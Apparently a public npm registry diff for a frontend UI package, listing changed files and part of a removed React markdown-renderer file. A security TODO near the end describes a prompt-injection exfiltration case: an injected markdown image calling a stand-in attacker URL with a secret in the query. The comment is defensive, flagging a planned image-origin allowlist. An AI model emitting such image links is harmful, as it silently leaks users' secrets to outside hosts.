@flamingo-stack/openframe-frontend-core 0.0.458-snapshot.20260720215024 → 0.0.458

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (281) hide show
  1. package/dist/{chunk-BLZZXZNM.cjs → chunk-5USSSRAL.cjs} +26 -26
  2. package/dist/{chunk-BLZZXZNM.cjs.map → chunk-5USSSRAL.cjs.map} +1 -1
  3. package/dist/{chunk-CGNDAJ7V.js → chunk-6B27O3ZB.js} +4 -4
  4. package/dist/{chunk-P5JQDFRM.cjs → chunk-7IRPMNRL.cjs} +60 -60
  5. package/dist/chunk-7IRPMNRL.cjs.map +1 -0
  6. package/dist/{chunk-4XDWNAZW.cjs → chunk-DQ3EHM6G.cjs} +9 -9
  7. package/dist/{chunk-4XDWNAZW.cjs.map → chunk-DQ3EHM6G.cjs.map} +1 -1
  8. package/dist/{chunk-7KSEINAE.cjs → chunk-FTXDIDNX.cjs} +15 -15
  9. package/dist/{chunk-7KSEINAE.cjs.map → chunk-FTXDIDNX.cjs.map} +1 -1
  10. package/dist/{chunk-4R6H2U77.js → chunk-H7ETLG65.js} +4 -4
  11. package/dist/{chunk-LAOO7XHO.js → chunk-HWTUVLYB.js} +2 -2
  12. package/dist/{chunk-F2NMWV44.js → chunk-IDKDOQZL.js} +2 -2
  13. package/dist/{chunk-BQ7PMWLM.cjs → chunk-KIIOBK7G.cjs} +27 -28
  14. package/dist/chunk-KIIOBK7G.cjs.map +1 -0
  15. package/dist/{chunk-QO2XD3FR.js → chunk-KQGFKG6Y.js} +2 -2
  16. package/dist/{chunk-3N3TMZ62.cjs → chunk-L676XVP4.cjs} +7 -7
  17. package/dist/{chunk-3N3TMZ62.cjs.map → chunk-L676XVP4.cjs.map} +1 -1
  18. package/dist/{chunk-F7F43U7Q.cjs → chunk-LDAOPWXZ.cjs} +11 -11
  19. package/dist/{chunk-F7F43U7Q.cjs.map → chunk-LDAOPWXZ.cjs.map} +1 -1
  20. package/dist/{chunk-ADD3FPDG.cjs → chunk-MKLP2SOZ.cjs} +4886 -7004
  21. package/dist/chunk-MKLP2SOZ.cjs.map +1 -0
  22. package/dist/{chunk-VXJH5TDN.js → chunk-QL7ODLJA.js} +10 -10
  23. package/dist/chunk-QL7ODLJA.js.map +1 -0
  24. package/dist/{chunk-OR5AMXYN.js → chunk-R5QYMUKN.js} +2 -2
  25. package/dist/{chunk-REWRUV3K.js → chunk-TNLFAJPA.js} +9673 -11791
  26. package/dist/chunk-TNLFAJPA.js.map +1 -0
  27. package/dist/{chunk-XF5ROTMQ.js → chunk-U2YDR5DT.js} +2 -2
  28. package/dist/{chunk-PXZ7YQ5V.cjs → chunk-VTQSB6QB.cjs} +5 -5
  29. package/dist/{chunk-PXZ7YQ5V.cjs.map → chunk-VTQSB6QB.cjs.map} +1 -1
  30. package/dist/{chunk-UI7CIUAR.js → chunk-WGJPTFRH.js} +2 -2
  31. package/dist/{chunk-WCE66C2Z.cjs → chunk-XUNJILJT.cjs} +62 -62
  32. package/dist/{chunk-WCE66C2Z.cjs.map → chunk-XUNJILJT.cjs.map} +1 -1
  33. package/dist/{chunk-APF5QBAU.js → chunk-YQBPIUZU.js} +2 -2
  34. package/dist/{chunk-TA7MFVUS.cjs → chunk-YV2YA3QH.cjs} +31 -31
  35. package/dist/{chunk-TA7MFVUS.cjs.map → chunk-YV2YA3QH.cjs.map} +1 -1
  36. package/dist/{chunk-QSGZE6AZ.cjs → chunk-ZDJ4ZUQ4.cjs} +37 -37
  37. package/dist/{chunk-QSGZE6AZ.cjs.map → chunk-ZDJ4ZUQ4.cjs.map} +1 -1
  38. package/dist/{chunk-LJKZIIK4.js → chunk-ZHQQRYMB.js} +5 -6
  39. package/dist/chunk-ZHQQRYMB.js.map +1 -0
  40. package/dist/components/case-studies/index.cjs +8 -8
  41. package/dist/components/case-studies/index.js +2 -2
  42. package/dist/components/chart.d.ts +1 -1
  43. package/dist/components/chat/chat-message-enhanced.d.ts.map +1 -1
  44. package/dist/components/chat/chat-message-list.d.ts.map +1 -1
  45. package/dist/components/chat/hooks/index.d.ts +1 -0
  46. package/dist/components/chat/hooks/index.d.ts.map +1 -1
  47. package/dist/components/chat/hooks/use-chat.d.ts.map +1 -1
  48. package/dist/components/chat/hooks/use-nats-chat-adapter.d.ts +48 -15
  49. package/dist/components/chat/hooks/use-nats-chat-adapter.d.ts.map +1 -1
  50. package/dist/components/chat/hooks/use-realtime-chunk-processor.d.ts +6 -0
  51. package/dist/components/chat/hooks/use-realtime-chunk-processor.d.ts.map +1 -0
  52. package/dist/components/chat/hooks/use-sse-chat-adapter.d.ts +47 -3
  53. package/dist/components/chat/hooks/use-sse-chat-adapter.d.ts.map +1 -1
  54. package/dist/components/chat/index.cjs +2 -10
  55. package/dist/components/chat/index.cjs.map +1 -1
  56. package/dist/components/chat/index.d.ts +0 -1
  57. package/dist/components/chat/index.d.ts.map +1 -1
  58. package/dist/components/chat/index.js +13 -21
  59. package/dist/components/chat/types/api.types.d.ts +81 -1
  60. package/dist/components/chat/types/api.types.d.ts.map +1 -1
  61. package/dist/components/chat/types/processing.types.d.ts +90 -2
  62. package/dist/components/chat/types/processing.types.d.ts.map +1 -1
  63. package/dist/components/chat/utils/chunk-parser.d.ts +25 -0
  64. package/dist/components/chat/utils/chunk-parser.d.ts.map +1 -0
  65. package/dist/components/chat/utils/extract-incomplete-message-state.d.ts +6 -34
  66. package/dist/components/chat/utils/extract-incomplete-message-state.d.ts.map +1 -1
  67. package/dist/components/chat/utils/index.d.ts +3 -2
  68. package/dist/components/chat/utils/index.d.ts.map +1 -1
  69. package/dist/components/chat/utils/process-historical-messages.d.ts +11 -59
  70. package/dist/components/chat/utils/process-historical-messages.d.ts.map +1 -1
  71. package/dist/components/contact/index.cjs +3 -3
  72. package/dist/components/contact/index.js +2 -2
  73. package/dist/components/docs/index.cjs +5 -5
  74. package/dist/components/docs/index.js +4 -4
  75. package/dist/components/embeds/index.cjs +3 -3
  76. package/dist/components/embeds/index.js +2 -2
  77. package/dist/components/faq/index.cjs +3 -3
  78. package/dist/components/faq/index.js +2 -2
  79. package/dist/components/features/index.cjs +2 -2
  80. package/dist/components/features/index.js +1 -1
  81. package/dist/components/help-center-pages/index.cjs +20 -20
  82. package/dist/components/help-center-pages/index.js +11 -11
  83. package/dist/components/index.cjs +129 -171
  84. package/dist/components/index.cjs.map +1 -1
  85. package/dist/components/index.js +21 -63
  86. package/dist/components/index.js.map +1 -1
  87. package/dist/components/navigation/index.cjs +2 -2
  88. package/dist/components/navigation/index.js +1 -1
  89. package/dist/components/onboarding-guides/index.cjs +5 -5
  90. package/dist/components/onboarding-guides/index.js +4 -4
  91. package/dist/components/onboarding-guides/onboarding-guide-detail-view.d.ts.map +1 -1
  92. package/dist/components/related-content/index.cjs +3 -3
  93. package/dist/components/related-content/index.js +2 -2
  94. package/dist/components/shared/product-release/release-detail-page.d.ts.map +1 -1
  95. package/dist/components/tickets/index.cjs +5 -5
  96. package/dist/components/tickets/index.js +4 -4
  97. package/dist/components/ui/index.cjs +2 -44
  98. package/dist/components/ui/index.cjs.map +1 -1
  99. package/dist/components/ui/index.d.ts +2 -1
  100. package/dist/components/ui/index.d.ts.map +1 -1
  101. package/dist/components/ui/index.js +13 -55
  102. package/dist/components/ui/rich-markdown-renderer.d.ts +34 -0
  103. package/dist/components/ui/rich-markdown-renderer.d.ts.map +1 -0
  104. package/dist/components/ui/simple-markdown-renderer.d.ts +73 -0
  105. package/dist/components/ui/simple-markdown-renderer.d.ts.map +1 -0
  106. package/dist/index.cjs +2 -60
  107. package/dist/index.cjs.map +1 -1
  108. package/dist/index.js +13 -71
  109. package/dist/utils/index.cjs +40 -169
  110. package/dist/utils/index.cjs.map +1 -1
  111. package/dist/utils/index.d.ts +0 -1
  112. package/dist/utils/index.d.ts.map +1 -1
  113. package/dist/utils/index.js +41 -162
  114. package/dist/utils/index.js.map +1 -1
  115. package/dist/utils/markdown-section-extractor.d.ts.map +1 -1
  116. package/package.json +1 -7
  117. package/src/components/chat/__tests__/chat-message-list.test.tsx +5 -293
  118. package/src/components/chat/chat-message-enhanced.tsx +17 -111
  119. package/src/components/chat/chat-message-list.tsx +113 -367
  120. package/src/components/chat/embeddable-chat.tsx +0 -6
  121. package/src/components/chat/hooks/.index.md +1 -1
  122. package/src/components/chat/hooks/.use-nats-chat-adapter.md +1 -1
  123. package/src/components/chat/hooks/.use-realtime-chunk-processor.md +50 -0
  124. package/src/components/chat/hooks/index.ts +1 -0
  125. package/src/components/chat/hooks/use-chat.ts +0 -8
  126. package/src/components/chat/hooks/use-nats-chat-adapter.ts +822 -243
  127. package/src/components/chat/hooks/use-realtime-chunk-processor.ts +479 -0
  128. package/src/components/chat/hooks/use-sse-chat-adapter.ts +666 -318
  129. package/src/components/chat/index.ts +0 -5
  130. package/src/components/chat/thinking-display.tsx +1 -1
  131. package/src/components/chat/types/.api.types.md +3 -1
  132. package/src/components/chat/types/.processing.types.md +23 -6
  133. package/src/components/chat/types/api.types.ts +73 -6
  134. package/src/components/chat/types/processing.types.ts +52 -11
  135. package/src/components/chat/utils/.chunk-parser.md +51 -0
  136. package/src/components/chat/utils/.index.md +5 -0
  137. package/src/components/chat/utils/chunk-parser.ts +255 -0
  138. package/src/components/chat/utils/extract-incomplete-message-state.ts +5 -63
  139. package/src/components/chat/utils/index.ts +8 -5
  140. package/src/components/chat/utils/process-historical-messages.ts +383 -352
  141. package/src/components/onboarding-guides/onboarding-guide-detail-view.tsx +4 -22
  142. package/src/components/shared/legal-document/legal-document-page.tsx +1 -1
  143. package/src/components/shared/product-release/release-detail-page.tsx +4 -19
  144. package/src/components/ui/.simple-markdown-renderer.md +40 -0
  145. package/src/components/ui/index.ts +2 -1
  146. package/src/components/ui/release-changelog-section.tsx +1 -1
  147. package/src/components/ui/rich-markdown-renderer.tsx +1223 -0
  148. package/src/components/ui/simple-markdown-renderer.tsx +965 -0
  149. package/src/components/ui/ticket-info-section.tsx +1 -1
  150. package/src/utils/index.ts +0 -1
  151. package/src/utils/markdown-section-extractor.ts +56 -41
  152. package/dist/chat-protocol/decode.d.ts +0 -58
  153. package/dist/chat-protocol/decode.d.ts.map +0 -1
  154. package/dist/chat-protocol/encode.d.ts +0 -44
  155. package/dist/chat-protocol/encode.d.ts.map +0 -1
  156. package/dist/chat-protocol/env-flag.d.ts +0 -35
  157. package/dist/chat-protocol/env-flag.d.ts.map +0 -1
  158. package/dist/chat-protocol/events.d.ts +0 -192
  159. package/dist/chat-protocol/events.d.ts.map +0 -1
  160. package/dist/chat-protocol/frames.d.ts +0 -206
  161. package/dist/chat-protocol/frames.d.ts.map +0 -1
  162. package/dist/chat-protocol/index.cjs +0 -493
  163. package/dist/chat-protocol/index.cjs.map +0 -1
  164. package/dist/chat-protocol/index.d.ts +0 -18
  165. package/dist/chat-protocol/index.d.ts.map +0 -1
  166. package/dist/chat-protocol/index.js +0 -477
  167. package/dist/chat-protocol/index.js.map +0 -1
  168. package/dist/chat-protocol/ip-normalize.d.ts +0 -44
  169. package/dist/chat-protocol/ip-normalize.d.ts.map +0 -1
  170. package/dist/chat-protocol/nats-decoder.d.ts +0 -26
  171. package/dist/chat-protocol/nats-decoder.d.ts.map +0 -1
  172. package/dist/chunk-ADD3FPDG.cjs.map +0 -1
  173. package/dist/chunk-BQ7PMWLM.cjs.map +0 -1
  174. package/dist/chunk-LJKZIIK4.js.map +0 -1
  175. package/dist/chunk-P5JQDFRM.cjs.map +0 -1
  176. package/dist/chunk-REWRUV3K.js.map +0 -1
  177. package/dist/chunk-VXJH5TDN.js.map +0 -1
  178. package/dist/components/chat/stream/chat-dialog-store.d.ts +0 -184
  179. package/dist/components/chat/stream/chat-dialog-store.d.ts.map +0 -1
  180. package/dist/components/chat/stream/chat-stream-reducer.d.ts +0 -367
  181. package/dist/components/chat/stream/chat-stream-reducer.d.ts.map +0 -1
  182. package/dist/components/chat/stream/delta-batcher.d.ts +0 -51
  183. package/dist/components/chat/stream/delta-batcher.d.ts.map +0 -1
  184. package/dist/components/chat/stream/index.d.ts +0 -17
  185. package/dist/components/chat/stream/index.d.ts.map +0 -1
  186. package/dist/components/chat/stream/message-mutations.d.ts +0 -77
  187. package/dist/components/chat/stream/message-mutations.d.ts.map +0 -1
  188. package/dist/components/chat/stream/use-chat-stream-reducer.d.ts +0 -22
  189. package/dist/components/chat/stream/use-chat-stream-reducer.d.ts.map +0 -1
  190. package/dist/components/ui/markdown/base-components.d.ts +0 -56
  191. package/dist/components/ui/markdown/base-components.d.ts.map +0 -1
  192. package/dist/components/ui/markdown/engine.d.ts +0 -99
  193. package/dist/components/ui/markdown/engine.d.ts.map +0 -1
  194. package/dist/components/ui/markdown/heading-ids.d.ts +0 -65
  195. package/dist/components/ui/markdown/heading-ids.d.ts.map +0 -1
  196. package/dist/components/ui/markdown/index.d.ts +0 -18
  197. package/dist/components/ui/markdown/index.d.ts.map +0 -1
  198. package/dist/components/ui/markdown/mermaid-diagram.d.ts +0 -79
  199. package/dist/components/ui/markdown/mermaid-diagram.d.ts.map +0 -1
  200. package/dist/components/ui/markdown/rich/embed-overrides.d.ts +0 -14
  201. package/dist/components/ui/markdown/rich/embed-overrides.d.ts.map +0 -1
  202. package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts +0 -40
  203. package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts.map +0 -1
  204. package/dist/components/ui/markdown/rich/shortcodes.d.ts +0 -8
  205. package/dist/components/ui/markdown/rich/shortcodes.d.ts.map +0 -1
  206. package/dist/components/ui/markdown/sanitize.d.ts +0 -153
  207. package/dist/components/ui/markdown/sanitize.d.ts.map +0 -1
  208. package/dist/components/ui/markdown/simple-markdown-renderer.d.ts +0 -23
  209. package/dist/components/ui/markdown/simple-markdown-renderer.d.ts.map +0 -1
  210. package/dist/components/ui/markdown/streaming.d.ts +0 -78
  211. package/dist/components/ui/markdown/streaming.d.ts.map +0 -1
  212. package/dist/components/ui/markdown/text-size.d.ts +0 -34
  213. package/dist/components/ui/markdown/text-size.d.ts.map +0 -1
  214. package/dist/utils/markdown-fences.d.ts +0 -42
  215. package/dist/utils/markdown-fences.d.ts.map +0 -1
  216. package/dist/utils/markdown-heading-id.d.ts +0 -85
  217. package/dist/utils/markdown-heading-id.d.ts.map +0 -1
  218. package/src/chat-protocol/__tests__/__snapshots__/nats-decoder-golden.test.ts.snap +0 -307
  219. package/src/chat-protocol/__tests__/chat-protocol.test.ts +0 -515
  220. package/src/chat-protocol/__tests__/env-flag.test.ts +0 -52
  221. package/src/chat-protocol/__tests__/ip-normalize.test.ts +0 -136
  222. package/src/chat-protocol/__tests__/nats-decoder-golden.test.ts +0 -228
  223. package/src/chat-protocol/decode.ts +0 -277
  224. package/src/chat-protocol/encode.ts +0 -71
  225. package/src/chat-protocol/env-flag.ts +0 -39
  226. package/src/chat-protocol/events.ts +0 -228
  227. package/src/chat-protocol/frames.ts +0 -238
  228. package/src/chat-protocol/index.ts +0 -21
  229. package/src/chat-protocol/ip-normalize.ts +0 -146
  230. package/src/chat-protocol/nats-decoder.ts +0 -252
  231. package/src/components/chat/__tests__/chat-message-streaming-memo.test.tsx +0 -207
  232. package/src/components/chat/__tests__/chat-pending-turn.test.tsx +0 -209
  233. package/src/components/chat/hooks/__tests__/__snapshots__/persisted-state-v1-golden.test.ts.snap +0 -297
  234. package/src/components/chat/hooks/__tests__/__snapshots__/sse-stream-golden.test.ts.snap +0 -0
  235. package/src/components/chat/hooks/__tests__/persisted-state-v1-golden.test.ts +0 -272
  236. package/src/components/chat/hooks/__tests__/sse-stream-golden.test.ts +0 -318
  237. package/src/components/chat/stream/__tests__/__snapshots__/chat-stream-reducer-golden.test.ts.snap +0 -937
  238. package/src/components/chat/stream/__tests__/chat-dialog-store.test.ts +0 -756
  239. package/src/components/chat/stream/__tests__/chat-stream-reducer-golden.test.ts +0 -460
  240. package/src/components/chat/stream/__tests__/chat-stream-reducer.test.ts +0 -894
  241. package/src/components/chat/stream/__tests__/delta-batcher.test.ts +0 -255
  242. package/src/components/chat/stream/__tests__/use-chat-stream-reducer.test.ts +0 -98
  243. package/src/components/chat/stream/chat-dialog-store.ts +0 -536
  244. package/src/components/chat/stream/chat-stream-reducer.ts +0 -1796
  245. package/src/components/chat/stream/delta-batcher.ts +0 -159
  246. package/src/components/chat/stream/index.ts +0 -55
  247. package/src/components/chat/stream/message-mutations.ts +0 -338
  248. package/src/components/chat/stream/use-chat-stream-reducer.ts +0 -126
  249. package/src/components/chat/utils/__tests__/__snapshots__/process-historical-messages-golden.test.ts.snap +0 -418
  250. package/src/components/chat/utils/__tests__/__snapshots__/segment-accumulator-golden.test.ts.snap +0 -599
  251. package/src/components/chat/utils/__tests__/process-historical-messages-golden.test.ts +0 -317
  252. package/src/components/chat/utils/__tests__/segment-accumulator-golden.test.ts +0 -270
  253. package/src/components/ui/__tests__/__snapshots__/markdown-parity.test.tsx.snap +0 -2420
  254. package/src/components/ui/__tests__/markdown-parity.test.tsx +0 -2528
  255. package/src/components/ui/markdown/__tests__/mermaid-security.test.ts +0 -115
  256. package/src/components/ui/markdown/__tests__/mermaid-stale-render.test.tsx +0 -95
  257. package/src/components/ui/markdown/__tests__/sanitize-invariant.test.ts +0 -309
  258. package/src/components/ui/markdown/__tests__/streaming.test.tsx +0 -388
  259. package/src/components/ui/markdown/base-components.tsx +0 -341
  260. package/src/components/ui/markdown/engine.tsx +0 -315
  261. package/src/components/ui/markdown/heading-ids.ts +0 -239
  262. package/src/components/ui/markdown/index.ts +0 -49
  263. package/src/components/ui/markdown/mermaid-diagram.tsx +0 -291
  264. package/src/components/ui/markdown/rich/embed-overrides.tsx +0 -199
  265. package/src/components/ui/markdown/rich/rich-markdown-renderer.tsx +0 -184
  266. package/src/components/ui/markdown/rich/shortcodes.ts +0 -170
  267. package/src/components/ui/markdown/sanitize.ts +0 -3499
  268. package/src/components/ui/markdown/simple-markdown-renderer.tsx +0 -28
  269. package/src/components/ui/markdown/streaming.ts +0 -362
  270. package/src/components/ui/markdown/text-size.ts +0 -106
  271. package/src/utils/markdown-fences.ts +0 -127
  272. package/src/utils/markdown-heading-id.ts +0 -348
  273. /package/dist/{chunk-CGNDAJ7V.js.map → chunk-6B27O3ZB.js.map} +0 -0
  274. /package/dist/{chunk-4R6H2U77.js.map → chunk-H7ETLG65.js.map} +0 -0
  275. /package/dist/{chunk-LAOO7XHO.js.map → chunk-HWTUVLYB.js.map} +0 -0
  276. /package/dist/{chunk-F2NMWV44.js.map → chunk-IDKDOQZL.js.map} +0 -0
  277. /package/dist/{chunk-QO2XD3FR.js.map → chunk-KQGFKG6Y.js.map} +0 -0
  278. /package/dist/{chunk-OR5AMXYN.js.map → chunk-R5QYMUKN.js.map} +0 -0
  279. /package/dist/{chunk-XF5ROTMQ.js.map → chunk-U2YDR5DT.js.map} +0 -0
  280. /package/dist/{chunk-UI7CIUAR.js.map → chunk-WGJPTFRH.js.map} +0 -0
  281. /package/dist/{chunk-APF5QBAU.js.map → chunk-YQBPIUZU.js.map} +0 -0
@@ -1,341 +0,0 @@
1
- "use client";
2
-
3
- /**
4
- * Default react-markdown component map for the unified markdown engine.
5
- * ONE implementation of code blocks, headings, links, lists, tables etc.
6
- * Compositions layer on top via `componentOverrides` (spread LAST by the
7
- * engine, so caller overrides always win).
8
- */
9
- import React from 'react';
10
- import type { Components } from 'react-markdown';
11
- import Image from '../../../embed-shims/next-image';
12
- import { cn } from '../../../utils/cn';
13
- import type { ResolveLinkResult } from '../../../types/doc-source';
14
- import type { TextSizeElement } from './text-size';
15
- import { MermaidDiagram } from './mermaid-diagram';
16
- import {
17
- extractText,
18
- resolveFallbackHeadingId,
19
- useAssignedHeadingIds,
20
- useHeadingId,
21
- } from './heading-ids';
22
- import { slugifyHeadingText } from '../../../utils/markdown-heading-id';
23
-
24
- /**
25
- * True when an image `src` is worth rendering. Shared by the base `img` and
26
- * the rich composition's `img` / `video` overrides so the empty-`![]()`
27
- * guard has exactly one definition.
28
- */
29
- export function hasRenderableSrc(src: unknown): src is string {
30
- return typeof src === 'string' && src.trim() !== '';
31
- }
32
-
33
- export interface BuildBaseComponentsOptions {
34
- textSizes: Record<TextSizeElement, string>;
35
- demoteMarkdownH1ToH2: boolean;
36
- brokenLinks: readonly string[];
37
- currentPath?: string;
38
- onInternalLinkClick?: (path: string, options?: { expandFolder?: boolean; fromInternalLink?: boolean }) => void;
39
- onResolveLink?: (href: string, currentPath: string) => Promise<ResolveLinkResult>;
40
- }
41
-
42
- /**
43
- * The standard leaf renderers (`code` block + inline, `blockquote`, `div`
44
- * pass-through) as standalone functions.
45
- *
46
- * SSOT for compositions that must OVERRIDE these renderers for a narrow
47
- * special case and then fall through: the rich composition intercepts embed
48
- * fence languages, shortcode-expanded `div`s and Reddit's `reddit-embed-bq`
49
- * blockquote, and delegates everything else here. Previously it reproduced
50
- * these renderers byte-for-byte, so any class change here silently drifted
51
- * on content surfaces.
52
- *
53
- * THESE MUST STAY HOOK-FREE: the rich composition calls them as plain
54
- * functions from inside its own renderers (`standard.code(props)`), which is
55
- * not a React render of a component and would break the rules of hooks.
56
- * Hook-using renderers (the headings, which read the heading-line offset
57
- * from context) live in `buildBaseComponents` below and are never delegated
58
- * to this way.
59
- *
60
- * ODS-TOKENS FLAG (ODS_TOKEN_RULES §Typography / §General): inline code keeps
61
- * an inline `text-[0.9em]`, carried over verbatim from the pre-unification
62
- * renderers — ODS has no relative-to-parent code size, so mapping it onto an
63
- * existing token would visibly change every inline code span. Same shape as
64
- * the flag in ./text-size.ts — flagged for addition to ODS, not copied
65
- * anywhere else.
66
- *
67
- * The code BLOCK's font is NOT flagged: the raw "JetBrains Mono", "SF Mono",
68
- * Consolas stack the old renderer inlined is gone, replaced by Tailwind's
69
- * `font-mono` (→ `var(--font-family-heading)`, the Azeret Mono ODS stack) —
70
- * the same class the inline-code branch below already used, so the two code
71
- * surfaces no longer disagree about their family.
72
- */
73
- export function buildStandardLeafRenderers({
74
- textSizes,
75
- }: {
76
- textSizes: Record<TextSizeElement, string>;
77
- }): Pick<Components, 'code' | 'blockquote' | 'div'> {
78
- return {
79
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
80
- code: ({ node, inline, className: codeClassName, children, ...props }: any) => {
81
- const match = /language-(\w+)/.exec(codeClassName || '');
82
- const language = match ? match[1] : '';
83
-
84
- if (!inline && language === 'mermaid') {
85
- return <MermaidDiagram chart={String(children).replace(/\n$/, '')} />;
86
- }
87
-
88
- if (!inline && match) {
89
- return (
90
- <div className="code-block-container border rounded-lg my-6 overflow-hidden bg-ods-card border-ods-border">
91
- <div className="code-header border-b px-4 py-2 bg-ods-card border-ods-border">
92
- <span className="font-sans text-xs uppercase tracking-wide text-ods-text-tertiary">
93
- {language || 'code'}
94
- </span>
95
- </div>
96
- <div className="p-4">
97
- <pre className="overflow-x-auto">
98
- <code
99
- className={cn(`language-${language} hljs font-mono`, textSizes.code)}
100
- style={{
101
- background: 'transparent',
102
- color: 'var(--color-text-primary)',
103
- }}
104
- {...props}
105
- >
106
- {children}
107
- </code>
108
- </pre>
109
- </div>
110
- </div>
111
- );
112
- }
113
-
114
- return (
115
- <code className="font-mono text-[0.9em] px-1.5 py-0.5 rounded border bg-ods-card text-ods-text-primary border-ods-border" {...props}>
116
- {children}
117
- </code>
118
- );
119
- },
120
-
121
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
122
- blockquote: ({ children }: any) => (
123
- <blockquote className="border-l-4 border-ods-accent ml-0 pl-6 my-8 py-4 rounded-r-lg bg-ods-bg-surface">
124
- <div className={cn('font-sans leading-relaxed text-ods-text-secondary', textSizes.blockquote)}>
125
- {children}
126
- </div>
127
- </blockquote>
128
- ),
129
-
130
- // Pass-through `div` (overridable for embeds; `node` is dropped so it
131
- // never reaches the DOM).
132
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
133
- div: ({ node, className: divClassName, children, ...props }: any) => (
134
- <div className={divClassName} {...props}>{children}</div>
135
- ),
136
- };
137
- }
138
-
139
- export function buildBaseComponents({
140
- textSizes,
141
- demoteMarkdownH1ToH2,
142
- brokenLinks,
143
- currentPath: propCurrentPath,
144
- onInternalLinkClick,
145
- onResolveLink,
146
- }: BuildBaseComponentsOptions): Components {
147
- const makeHeading = (
148
- Tag: 'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6',
149
- headingClassName: string,
150
- ) =>
151
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
152
- ({ node, children }: any) => {
153
- // PURE LOOKUP — no counters, no render-order dependency. The map is
154
- // built once from the processed source and reaches this renderer via
155
- // context (see ./heading-ids.ts for why not via this options object).
156
- const mapped = useHeadingId(node);
157
- const taken = useAssignedHeadingIds();
158
- // An AUTHORED anchor wins over everything. The sanitize schema allows
159
- // `id` on every element (and disables clobbering) precisely so
160
- // `<h2 id="pricing-faq">` keeps its hand-picked anchor; overwriting it
161
- // with the slug of its text silently broke every existing deep link
162
- // pointing at it.
163
- const explicit =
164
- typeof node?.properties?.id === 'string' && node.properties.id !== ''
165
- ? node.properties.id
166
- : undefined;
167
- // Fallback for headings the source scan cannot see — in practice only
168
- // caller-plugin-synthesized nodes, which carry no source position.
169
- // Deduped against the ids the map already assigned (pure — see
170
- // resolveFallbackHeadingId).
171
- const id =
172
- explicit ??
173
- mapped ??
174
- resolveFallbackHeadingId(slugifyHeadingText(extractText(children)), taken);
175
- const EffectiveTag = Tag === 'h1' && demoteMarkdownH1ToH2 ? 'h2' : Tag;
176
- return <EffectiveTag id={id || undefined} className={headingClassName}>{children}</EffectiveTag>;
177
- };
178
-
179
- return {
180
- // --- code + blockquote + div (shared leaf renderers, see above) ---
181
- ...buildStandardLeafRenderers({ textSizes }),
182
-
183
- // --- headings ---
184
- h1: makeHeading('h1', cn('font-sans font-bold mt-8 mb-4 first:mt-0 text-ods-text-primary', textSizes.h1)),
185
- h2: makeHeading('h2', cn('font-sans font-semibold mt-8 mb-4 pb-2 border-b text-ods-text-primary border-ods-border', textSizes.h2)),
186
- h3: makeHeading('h3', cn('font-sans font-semibold mt-6 mb-3 text-ods-text-primary', textSizes.h3)),
187
- h4: makeHeading('h4', cn('font-sans font-semibold mt-4 mb-2 text-ods-text-primary', textSizes.h4)),
188
- h5: makeHeading('h5', cn('font-sans font-semibold mt-3 mb-2 text-ods-text-primary', textSizes.h5)),
189
- h6: makeHeading('h6', cn('font-sans font-semibold mt-3 mb-1 text-ods-text-primary', textSizes.h6)),
190
-
191
- // --- paragraph ---
192
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
193
- p: ({ children }: any) => (
194
- <p className={cn('leading-relaxed mb-4 first:mt-0 last:mb-0 text-ods-text-primary', textSizes.p)}>
195
- {children}
196
- </p>
197
- ),
198
-
199
- // --- links ---
200
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
201
- a: ({ href, children, className: linkClassName }: any) => {
202
- const isBroken = brokenLinks.includes(href);
203
- const isInternalDocLink =
204
- propCurrentPath !== undefined &&
205
- propCurrentPath !== null &&
206
- href &&
207
- !href.startsWith('http') &&
208
- !href.startsWith('#');
209
-
210
- if (isBroken) {
211
- return (
212
- <span className="text-ods-accent cursor-not-allowed">
213
- {children}
214
- <sup className="ml-1 text-xs font-bold text-ods-error">[BROKEN]</sup>
215
- </span>
216
- );
217
- }
218
-
219
- if (isInternalDocLink && onInternalLinkClick) {
220
- const currentPath = propCurrentPath ?? '';
221
- return (
222
- <span
223
- className="text-ods-accent no-underline relative transition-colors duration-200 hover:after:w-full after:content-[''] after:absolute after:w-0 after:h-0.5 after:-bottom-0.5 after:left-0 after:bg-ods-accent after:transition-all after:duration-300 cursor-pointer"
224
- onClick={async (e) => {
225
- e.preventDefault();
226
- e.stopPropagation();
227
- if (onResolveLink) {
228
- try {
229
- const result = await onResolveLink(href, currentPath);
230
- if (result.type === 'folder-no-readme' && result.action === 'expand_folder') {
231
- onInternalLinkClick(result.resolvedPath!, { expandFolder: true, fromInternalLink: true });
232
- } else if (result.type === 'not-found') {
233
- return;
234
- } else if (result.success && result.resolvedPath) {
235
- onInternalLinkClick(result.resolvedPath, { fromInternalLink: true });
236
- }
237
- } catch (error) {
238
- console.error('Error resolving link:', error);
239
- }
240
- } else {
241
- onInternalLinkClick(href, { fromInternalLink: true });
242
- }
243
- }}
244
- role="link"
245
- tabIndex={0}
246
- onKeyDown={(e) => {
247
- if (e.key === 'Enter' || e.key === ' ') {
248
- (e.currentTarget as HTMLElement).click();
249
- }
250
- }}
251
- >
252
- {children}
253
- </span>
254
- );
255
- }
256
-
257
- return (
258
- <a
259
- href={href}
260
- className={`text-ods-accent no-underline relative transition-colors duration-200 hover:after:w-full after:content-[''] after:absolute after:w-0 after:h-0.5 after:-bottom-0.5 after:left-0 after:bg-ods-accent after:transition-all after:duration-300 ${linkClassName || ''}`}
261
- target={href?.startsWith('http') ? '_blank' : undefined}
262
- rel={href?.startsWith('http') ? 'noopener noreferrer' : undefined}
263
- >
264
- {children}
265
- </a>
266
- );
267
- },
268
-
269
- // --- images ---
270
- // Inline content image renderer (blog, docs, chat attachments).
271
- // CAP at 400x400 with natural-size rendering for small images —
272
- // click-to-expand surfaces provide full resolution. Next.js <Image>
273
- // via the embed shim gives WebP/AVIF + lazy-loading on Next hosts and
274
- // a plain <img> elsewhere.
275
- //
276
- // TODO(security): LLM-rendered surfaces still auto-load ANY image origin,
277
- // so a prompt-injected `![](https://attacker/log?d=<secret>)` exfiltrates
278
- // silently. An image-origin allowlist is a tracked follow-up: it requires
279
- // a host-supplied origin list threaded from each chat composition (there
280
